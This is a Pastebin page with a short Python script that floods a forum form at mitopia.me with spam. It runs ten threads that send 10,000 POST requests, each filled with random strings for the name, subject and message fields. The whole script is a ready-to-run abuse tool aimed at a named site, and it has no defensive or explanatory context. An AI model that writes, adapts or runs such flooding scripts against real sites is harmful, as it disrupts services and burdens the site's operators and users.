Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import random
- import string
- from multiprocessing.dummy import Pool as ThreadPool
- CHARS = string.digits + string.ascii_letters + string.punctuation
- def random_string(length=20):
- try:
- return ''.join(random.sample(CHARS, int(random.random() * length)))
- except ValueError:
- return random_string(length)
- def spam(x):
- r = requests.post('http://mitopia.me/Forum/', {
- 'tfName': random_string(),
- 'tfBetreff': random_string(),
- 'message': random_string(100),
- 'send': 1
- })
- print(r)
- pool = ThreadPool(10)
- pool.map(spam, range(10000))
- pool.close()
- pool.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement